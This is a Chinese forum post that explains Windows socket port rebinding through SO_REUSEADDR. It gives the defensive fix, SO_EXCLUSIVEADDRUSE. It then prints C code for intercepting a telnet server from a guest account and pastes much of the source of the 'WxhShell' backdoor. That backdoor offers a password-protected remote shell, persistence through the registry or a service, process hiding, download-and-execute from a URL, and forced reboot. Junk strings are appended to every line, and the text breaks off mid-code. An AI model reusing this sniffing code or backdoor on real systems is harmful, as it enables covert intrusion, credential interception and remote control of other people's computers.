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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zl $mt'\y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9lqH  
jzvrJ14  
  saddr.sin_family = AF_INET; 3n_N^q}  
7bSj[kuN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); sBm)D=Kll  
z>lIZ}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); > zA*W<g  
XCvL`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?te~[_oT  
Gn&=<q :H  
  这意味着什么?意味着可以进行如下的攻击: }iIZA>eF  
C2 4"H|D  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 'Y2ImSWj  
)[wB:kG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z|bAZKSRYx  
/:B2-4>Q!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /Vdu|k=  
=aBc .PJ^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "o)jB~ :L  
cY]BtJ#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hg7^#f95u  
Zz/ z7~{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 WYJH+"@%j  
xB`j* %  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }i$ER,hXh  
QZ& 4W  
  #include 9$f%  
  #include +R"Y~ m{F  
  #include L9{y1'')  
  #include    Y[!s:3\f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   CFXr=.yz  
  int main() 4v.{C"M  
  { jZr"d*Y  
  WORD wVersionRequested; 7?ICXhu9  
  DWORD ret; UMUG~P&@  
  WSADATA wsaData; ;W{2\ Es  
  BOOL val; +?)R}\\  
  SOCKADDR_IN saddr; #(7^V y&  
  SOCKADDR_IN scaddr; <c%  
  int err; <P~pn!F}  
  SOCKET s; vN&(__3((  
  SOCKET sc; Yz)+UF,  
  int caddsize; 4OeH}@a  
  HANDLE mt; v` h n9O  
  DWORD tid;   [nA1WFfM  
  wVersionRequested = MAKEWORD( 2, 2 ); |"g+p)A  
  err = WSAStartup( wVersionRequested, &wsaData ); R0~w F>  
  if ( err != 0 ) { !LM9  
  printf("error!WSAStartup failed!\n"); FQBE1h@k0u  
  return -1; LEuDDJ -  
  } x3:d/>b  
  saddr.sin_family = AF_INET; dWTc3@xd  
   xc}kDpF=g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 f|6 Y  
s~06%QEG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `{%ImXQF  
  saddr.sin_port = htons(23); &G!~@\tMg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #(}'G*  
  { Dy&{PeE!  
  printf("error!socket failed!\n"); 5[LDG/{Tys  
  return -1; BdB9M8fM  
  } LNcoTdv}k  
  val = TRUE; =%SH2kb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +,]_TxL|C  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vM?,#:5  
  { <ivq}(%72  
  printf("error!setsockopt failed!\n"); v]\T&w%9  
  return -1; ?f= ~Pn+  
  } CHyT'RT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; VpX*l3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 j^.|^q<Y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ''($E /  
f}EsS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) RK/>5  
  { <UY9<o  
  ret=GetLastError(); Th X6e  
  printf("error!bind failed!\n"); .oM;D~(=9  
  return -1; 5,|of{8  
  } lWDSF]ZYV  
  listen(s,2); }Te+Rv7{E  
  while(1) VIaj])m  
  { (&-I-#i  
  caddsize = sizeof(scaddr); fu iTy72  
  //接受连接请求 D+u\ORj  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E~c>j<'-"<  
  if(sc!=INVALID_SOCKET) WMS~Bk+!  
  { %GP`H/H(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !?" pnKb}  
  if(mt==NULL) =om<*\vsO  
  { +&r=XJ5:`p  
  printf("Thread Creat Failed!\n"); =gC% =  
  break; Tol V3  
  } :Wihb#TO)  
  } _yp<#q]  
  CloseHandle(mt); 1,Jy+1G0w  
  } Pv|sPIIB7  
  closesocket(s); ymn@1BA8J  
  WSACleanup(); ydMhb367|  
  return 0; f\FqZ?w  
  }   ^fV-m&F)K*  
  DWORD WINAPI ClientThread(LPVOID lpParam) \E6 0  
  { {]%7-4E  
  SOCKET ss = (SOCKET)lpParam; XqGa]/;}  
  SOCKET sc; cSjX/%*!m  
  unsigned char buf[4096]; #r,!-;^'p  
  SOCKADDR_IN saddr; cd`P'GDF  
  long num; r`$P60,@C  
  DWORD val; c_t7<  
  DWORD ret; MO? }$j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _q4Yq'dI  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Fr-Vq =j&  
  saddr.sin_family = AF_INET; H vHy{S4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]F"P3':  
  saddr.sin_port = htons(23); ZFtJoGaR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >U.7>K V&  
  { \O]kf>nC  
  printf("error!socket failed!\n"); Qb7&S5m  
  return -1; _C=01 %/  
  } _88X-~.  
  val = 100; zDBm^ s  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nchpD@'t  
  { wb%4f6i  
  ret = GetLastError(); Ce~Pms]  
  return -1; V+zn` \a  
  } +Ht(_+To1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _;R#B`9Iu  
  { ~>Y^?l  
  ret = GetLastError(); Q3'P<"u  
  return -1; ;X:Bh8tEV  
  } 8K@e8p( y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Md0`/F:+2  
  { RRro.r,  
  printf("error!socket connect failed!\n"); d6ifJ  
  closesocket(sc); y4VO\N!  
  closesocket(ss); !hE F.S  
  return -1; $KBW{  
  } 7q:;3;"9  
  while(1) >}/T&S  
  { GPx+]Jw8\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *,)1Dcv(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {{)pb>E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 M,cz7,  
  num = recv(ss,buf,4096,0); 5=fS^]- F  
  if(num>0) )(rr1^Xer  
  send(sc,buf,num,0); ^Nt^.xi7  
  else if(num==0) X5(oL  
  break; ><$V:nsEO  
  num = recv(sc,buf,4096,0); <<V"4 C2  
  if(num>0) '3~m},0  
  send(ss,buf,num,0); =>JA; ft  
  else if(num==0) VbNN1'a-  
  break; e(FT4KD~  
  } >p`i6_P0P/  
  closesocket(ss); k8i0`VY5Y  
  closesocket(sc); ;2[OI  
  return 0 ; <dAxB$16sT  
  } 7+Nl)d:C J  
EWq < B)  
/8u}VYE  
========================================================== :H#D4O8UiH  
"yl6WG# J  
下边附上一个代码,,WXhSHELL >jnx2$  
:;IZ|hU  
========================================================== lanU)+U.  
t3*.Bm:^  
#include "stdafx.h" .yHK  
FbH@qHSH  
#include <stdio.h> [q/eRIS_  
#include <string.h> Q(R -8"  
#include <windows.h> ?X\uzu  
#include <winsock2.h> n]nJ$u1u  
#include <winsvc.h> m8eoD{  
#include <urlmon.h> r9<#R=r)}J  
!| q19$  
#pragma comment (lib, "Ws2_32.lib") r oBb o  
#pragma comment (lib, "urlmon.lib") mE'HRv  
H_ NoW  
#define MAX_USER   100 // 最大客户端连接数 D( y c  
#define BUF_SOCK   200 // sock buffer #TV #*  
#define KEY_BUFF   255 // 输入 buffer R8YU#D (Q  
Q'Uv5p"X  
#define REBOOT     0   // 重启 7UqDPEXU]`  
#define SHUTDOWN   1   // 关机 of >  
=L;g:hc<  
#define DEF_PORT   5000 // 监听端口 7mn&w$MS4:  
vst;G-ys  
#define REG_LEN     16   // 注册表键长度 ^f 0-w`D  
#define SVC_LEN     80   // NT服务名长度 s=1k9   
E_P,>f  
// 从dll定义API Pj*]%V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |h&okR+_,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JUJrtK S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 32pPeYxB!-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bxWzm|  
K.Cx 9  
// wxhshell配置信息 1\AcceJ|(w  
struct WSCFG { n\$.6 _@x  
  int ws_port;         // 监听端口 L+mHeS l  
  char ws_passstr[REG_LEN]; // 口令 #KuBEHr  
  int ws_autoins;       // 安装标记, 1=yes 0=no :bCswgd[  
  char ws_regname[REG_LEN]; // 注册表键名 T hVq5  
  char ws_svcname[REG_LEN]; // 服务名 &V%faa1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sp_19u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  B`vC>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .&Sjazk0XO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0IHAoV60  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \5a;_N[Ed  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a=sd&](_  
"|N0oEG&  
}; M+)ENv e  
'b6qEU#  
// default Wxhshell configuration I9nm$,i]7  
struct WSCFG wscfg={DEF_PORT, zFY$^Oz"_  
    "xuhuanlingzhe", +x?8\  
    1, qWXw*d1]  
    "Wxhshell", ^`RMf5i1m  
    "Wxhshell", '#yIcV$  
            "WxhShell Service", 0Ag2zx  
    "Wrsky Windows CmdShell Service", D+w ?  
    "Please Input Your Password: ", ty@D3l  
  1, {@'#|]4y.  
  "http://www.wrsky.com/wxhshell.exe", R <&U]%FD  
  "Wxhshell.exe" &#9HV  
    }; )Ofwfypc  
.$+,Y4q~(  
// 消息定义模块 +S1h~@c:B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3GMrdG?Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 76u\# {5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dV^ck+  
char *msg_ws_ext="\n\rExit."; zQB1C  
char *msg_ws_end="\n\rQuit."; oHF,k  
char *msg_ws_boot="\n\rReboot..."; sdKm@p|/|  
char *msg_ws_poff="\n\rShutdown..."; [vnxp/v/<  
char *msg_ws_down="\n\rSave to "; |-%dN }O  
jS|jPk|I.  
char *msg_ws_err="\n\rErr!"; ,o0[^-b<  
char *msg_ws_ok="\n\rOK!"; 0&3zBL%Bo  
:#UA!| nV  
char ExeFile[MAX_PATH]; M?DXCsZ,)s  
int nUser = 0; $_|jI ^  
HANDLE handles[MAX_USER]; BDX>J3h  
int OsIsNt; UI wTf2B  
/<J5?H  
SERVICE_STATUS       serviceStatus; |T*t3}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3g0v,7,Zv  
YdYaLTz  
// 函数声明 3=0b  
int Install(void); LX(`@-<DH  
int Uninstall(void); 20M]gw]  
int DownloadFile(char *sURL, SOCKET wsh); aq9Ej]1b  
int Boot(int flag); kZcGe*  
void HideProc(void); N0YJ'.=8,  
int GetOsVer(void); N*KM6j  
int Wxhshell(SOCKET wsl); " "CNw-^t  
void TalkWithClient(void *cs); BtQqUk#L2  
int CmdShell(SOCKET sock); L f;Uv[^c  
int StartFromService(void); Xa$tW%)  
int StartWxhshell(LPSTR lpCmdLine); Pb7-pu5 X  
5X^`qUSv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J$(79gH{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yQFZRDV~  
J|8 u  
// 数据结构和表定义 JK'tdvs~  
SERVICE_TABLE_ENTRY DispatchTable[] = [h.i,%Ua"P  
{ #*  8^ar<  
{wscfg.ws_svcname, NTServiceMain}, kcP&''  
{NULL, NULL} .|y{1?f_  
}; #BIY[{!  
NRs%q}lX  
// 自我安装 Fl\kt.G  
int Install(void) Ujvk*~:  
{ !A+jX7Nb  
  char svExeFile[MAX_PATH]; b^<7@tY  
  HKEY key; J& D0,cuk  
  strcpy(svExeFile,ExeFile); j^Ln\N]^  
<fDbz1Q;l  
// 如果是win9x系统,修改注册表设为自启动 yq`  ,)  
if(!OsIsNt) { * [b~2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \obM}caT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :eSwXDy&  
  RegCloseKey(key); KPa@~rU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { - ysd`&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )!sjXiC!h  
  RegCloseKey(key); ?!bA#aSbl5  
  return 0; T 6=~vOzTJ  
    } 8]JlYe  
  } "g1Fg.o  
} W"s)s  
else { D Z=OZ.v  
oho~?.F  
// 如果是NT以上系统,安装为系统服务 WAVEwA`r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iv6bXV'N  
if (schSCManager!=0) %vU*4mH  
{ 3`ze<K((  
  SC_HANDLE schService = CreateService _2xYDi  
  ( ^E3 HY@j  
  schSCManager, B,A\/%<  
  wscfg.ws_svcname, '~pZj"uy  
  wscfg.ws_svcdisp, ^!K 8nW{*  
  SERVICE_ALL_ACCESS, (U*Zz+ R   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J*qo3aJjE  
  SERVICE_AUTO_START, ;!<@Fm9W  
  SERVICE_ERROR_NORMAL, f'u[G?C  
  svExeFile, ^>h2.A J  
  NULL, p49T3V  
  NULL, ;{"uG>#R  
  NULL, U5j0i]  
  NULL, !6*4^$i#o  
  NULL q/3co86c  
  ); 7zu3o  
  if (schService!=0) O9:J ^g  
  { "IoY$!Hk  
  CloseServiceHandle(schService); p5bM/{DP;K  
  CloseServiceHandle(schSCManager); z2SR/[I?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,.,Y{CP  
  strcat(svExeFile,wscfg.ws_svcname); V V Aw y6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9<*<-x{A17  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2*0n#" L  
  RegCloseKey(key); OJ}aN>k  
  return 0; mtNB09E(  
    } 62>/0_m5  
  } L$}'6y/@  
  CloseServiceHandle(schSCManager); oRl@AhS  
} * Vymb  
} &- ZRS/_d>  
PML84*K -  
return 1; ;}Acy VV  
} N<|-b0#Z6  
mCEWp  
// 自我卸载 CdiL{zH\3  
int Uninstall(void) 21\?FQrz  
{ )H1chNI)  
  HKEY key; x_x|D|@wM  
9q"G g?  
if(!OsIsNt) { O9)k)A]`O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { * 9}~?#b  
  RegDeleteValue(key,wscfg.ws_regname); s9BdmD^|#  
  RegCloseKey(key); _P{v=`]Eu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f{#Mc  
  RegDeleteValue(key,wscfg.ws_regname); yx/qp<=  
  RegCloseKey(key); ^4>Icz^ F  
  return 0; \J^xpR_0u  
  } Td![Id  
} 20mZ{_%  
} - o sxKT:  
else { .t{?doOT  
.n)0@X!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T q5F'@e  
if (schSCManager!=0) Q9 RCN<!  
{ c]:@y"W5$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IV$2`)[A&X  
  if (schService!=0) axd9b,  
  { CV6W)B%Se  
  if(DeleteService(schService)!=0) { g?!;04  
  CloseServiceHandle(schService); "yxBD 7  
  CloseServiceHandle(schSCManager); e irRAU  
  return 0; n/GJ&qLi:g  
  } )hK1W\5  
  CloseServiceHandle(schService); s B!2't  
  } `jCq`-.  
  CloseServiceHandle(schSCManager); w3peG^4D_  
} 2N_9S?a3sK  
} ^ px)W,O  
n0ls a@l  
return 1; IN94[yW{1  
} ~7&O[  
58_aI?~>>  
// 从指定url下载文件 "_/5{Nc$  
int DownloadFile(char *sURL, SOCKET wsh) BGVy \F<  
{ .;~K*GC  
  HRESULT hr; .ZOyZnr Z  
char seps[]= "/"; 6c&OR2HGqO  
char *token; n0kkUc-`   
char *file; g3,F+  
char myURL[MAX_PATH]; q"pnFK9/L  
char myFILE[MAX_PATH]; x$tzq+N  
g].hL  
strcpy(myURL,sURL); =;A~$[g  
  token=strtok(myURL,seps); ~b{j`T  
  while(token!=NULL) u+uu?.bM  
  { Zu%oIk  
    file=token; @?"t&h  
  token=strtok(NULL,seps); Y{ 2xokJ N  
  } 8rsv8OO  
X+XbIbUuL  
GetCurrentDirectory(MAX_PATH,myFILE); nzORG  
strcat(myFILE, "\\"); ecy41y'~:  
strcat(myFILE, file); &,@wLy^ T  
  send(wsh,myFILE,strlen(myFILE),0); 5Ai$1'*p  
send(wsh,"...",3,0); J'y*>dW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t9 m],aH  
  if(hr==S_OK) esQRg~aCGy  
return 0; tc<t%]c  
else )?PRG=  
return 1; UQ 'U 4q  
y7# 4Mcc`~  
} a'ODm6#  
S~DY1e54GF  
// 系统电源模块 4i o02qd 4  
int Boot(int flag) 3$ 1 z  
{ '$n#~/#}  
  HANDLE hToken; > jDx-H.N  
  TOKEN_PRIVILEGES tkp; S=~8nr/V  
 %;9+`U  
  if(OsIsNt) { xF3H\`{4x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /q8?xP.   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >w=xGb7  
    tkp.PrivilegeCount = 1; D?"TcA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }~28UXb23  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >xE{& ):  
if(flag==REBOOT) { /1q] D8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mD p|EXN  
  return 0; Z;JZ<vEt92  
} 9#@CmiIhy  
else { )ozN{&B6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0Ti>PR5M  
  return 0; #i GRi!$h  
} 2=l !b/m  
  } oxPb; %  
  else { W=~H_ L?/  
if(flag==REBOOT) { 8W_X&X?Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |!{ BjOAD'  
  return 0; bz? *#S  
} d.&~n`Rv!p  
else { M^^u{);q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cIgicp}U  
  return 0; $wn "+wX  
} 4q<:% 0M|  
} XJ;JDch  
\l leO|m  
return 1; D:HeP:.I  
} cNG6 A4  
X7]vXo*  
// win9x进程隐藏模块 b#C"rTw  
void HideProc(void) uv[e0,@  
{ G#4cWn'  
`&U ['_%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gU}?Yy  
  if ( hKernel != NULL ) 7M1*SC  
  { U)p P^:|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?Y~>H 2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "zO+!h'o  
    FreeLibrary(hKernel); i4"xvL K4  
  } FB PT@`~v  
a|\_'#  
return; ]eq3cwR[|  
} \0pJ+@\T9  
WiL~b =fT  
// 获取操作系统版本 O!uB|*  
int GetOsVer(void) U9xFQ=$ 2  
{ U<NpDjc"  
  OSVERSIONINFO winfo; g5to0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \?fl%r2  
  GetVersionEx(&winfo); m-a _<xo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?^&!/,  
  return 1; ls6ywLP{  
  else P"u*bqk  
  return 0; UgJ^NF2w  
} 1p&?MxLN-a  
<96ih$5D1  
// 客户端句柄模块 \o@b5z ]e  
int Wxhshell(SOCKET wsl) 9ffRY,1@  
{ nx,67u/Pb  
  SOCKET wsh;  N _r*Ig  
  struct sockaddr_in client; ap9eQsC  
  DWORD myID; ,Ql3RO,  
N[ArwV2O  
  while(nUser<MAX_USER) v.v3HB8p  
{ 7w{`f)~  
  int nSize=sizeof(client); wy_TFV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U'.>wjO  
  if(wsh==INVALID_SOCKET) return 1; fp4d?3G  
Q ;5'I3w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k< W]VS3N  
if(handles[nUser]==0) ld[]f*RuW  
  closesocket(wsh); gpr];lgS  
else Dl/UZ@8pl  
  nUser++; ce=6EYl  
  } miHW1h[=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VkhK2  
[;5HI'px  
  return 0; qg6Hk:^r  
} ,l7ty#j  
6aQ{EO-]'=  
// 关闭 socket _z m<[0(  
void CloseIt(SOCKET wsh) =$Q3!bJ  
{ ,-DE;l^Q=  
closesocket(wsh); JEBo!9  
nUser--; " Jnq~7]  
ExitThread(0); h/(9AO}t  
} 3[aJ=5  
i$:CGUb  
// 客户端请求句柄 x_Ais&Gc  
void TalkWithClient(void *cs) Punbw\9!d,  
{ PD/JXExK  
2 >xV&  
  SOCKET wsh=(SOCKET)cs; Gh|1%g"gm  
  char pwd[SVC_LEN]; +S%@/q  
  char cmd[KEY_BUFF]; <)n   
char chr[1]; #^#)OQq]  
int i,j;  |Be.r{l  
-R7f/a8  
  while (nUser < MAX_USER) { R?|_` @@A  
[EGE|   
if(wscfg.ws_passstr) { $X*$,CCIB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); //Tr=!TQu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $ 9QVl  
  //ZeroMemory(pwd,KEY_BUFF); }>frK#S  
      i=0; \wDOE(>  
  while(i<SVC_LEN) { nI_Zk.R  
p-KuCobz]  
  // 设置超时 29Q5s$YD@  
  fd_set FdRead; [sNn^x  
  struct timeval TimeOut; S-f3rL[?  
  FD_ZERO(&FdRead); }.b[az\T  
  FD_SET(wsh,&FdRead); H V   
  TimeOut.tv_sec=8; Y @.JW  
  TimeOut.tv_usec=0; (uV7N7 <1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U-n33ty`H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ax>c&%vo  
@fE^w^K7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cF vGpZ  
  pwd=chr[0]; Gh{k~/B  
  if(chr[0]==0xd || chr[0]==0xa) { ki+9 Ln;  
  pwd=0; /CA)R26G  
  break; v@t*iDa?7  
  } 3UN Jj&-`  
  i++; !&'xkw`  
    } &aF_y_f\  
] &G5/ ]f  
  // 如果是非法用户,关闭 socket A&t'uY6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); swLgdk{8n  
} :&or'Yi}  
|g'sRTKJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <RhKlCP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i*U\~CZjT  
VJR'B={h  
while(1) { ]7u8m[@  
.ySesN: C~  
  ZeroMemory(cmd,KEY_BUFF); Bgs~1E@8V  
3.dUMJ$_  
      // 自动支持客户端 telnet标准   jZ{S{"j  
  j=0; |[{;*wtv  
  while(j<KEY_BUFF) { ,<vrDHR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %ri4nKGS  
  cmd[j]=chr[0]; R<U?)8g,h~  
  if(chr[0]==0xa || chr[0]==0xd) { 2bxT%xH:g  
  cmd[j]=0; wyc,Ir  
  break; ~AE034_N  
  } EhD|\WLx!  
  j++; 2Qy!Aa  
    } &% *S  
MW4dPoa  
  // 下载文件 PZ ogN  
  if(strstr(cmd,"http://")) { 93!a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X  ]a>  
  if(DownloadFile(cmd,wsh)) 3x=F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _E30t( _.  
  else k]>k1Mi=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;Q"F@v}18  
  } (%P* rl  
  else { `riv`+J{s  
@Op8^8$`  
    switch(cmd[0]) { l =_@<p  
  0zTv'L  
  // 帮助 <7jb4n<  
  case '?': { yav)mO~QU6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tm|lqa  
    break; T*{zL  
  } R/Y/#X^b  
  // 安装 Cir =(  
  case 'i': { Ov<3?)ok  
    if(Install()) xLD6A5n,[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KOmP-q=6  
    else ,X$Avdc2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6Ss{+MF|v  
    break; }agl:~C  
    } g-:)} 8d6  
  // 卸载 kK1qFe?]  
  case 'r': { Ffxk] o&%c  
    if(Uninstall()) qIqk@u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y(:OfC?  
    else O)5PUyC:H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )R +o8C  
    break; sTA/2d  
    } =3zn Ta }  
  // 显示 wxhshell 所在路径 K?;p:  
  case 'p': { '0O[d N  
    char svExeFile[MAX_PATH]; eB\r/B]  
    strcpy(svExeFile,"\n\r"); "aBd0i&  
      strcat(svExeFile,ExeFile); H3c=B /+  
        send(wsh,svExeFile,strlen(svExeFile),0); w7Pe< vT  
    break; x@Y2jM  
    } ,|4Ye  
  // 重启 wU ; f   
  case 'b': { 1IlR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &Bp\kv  
    if(Boot(REBOOT)) |be r:1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R`* *!ku  
    else { #PrV)en  
    closesocket(wsh); :1lE98=  
    ExitThread(0);  g_>ZE  
    } -oZ a c  
    break; wqwJpWIe  
    } t@u\ 4bv  
  // 关机 cV{ZD q  
  case 'd': { `HM3YC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n>E*g|a  
    if(Boot(SHUTDOWN)) R_qo]WvR;  
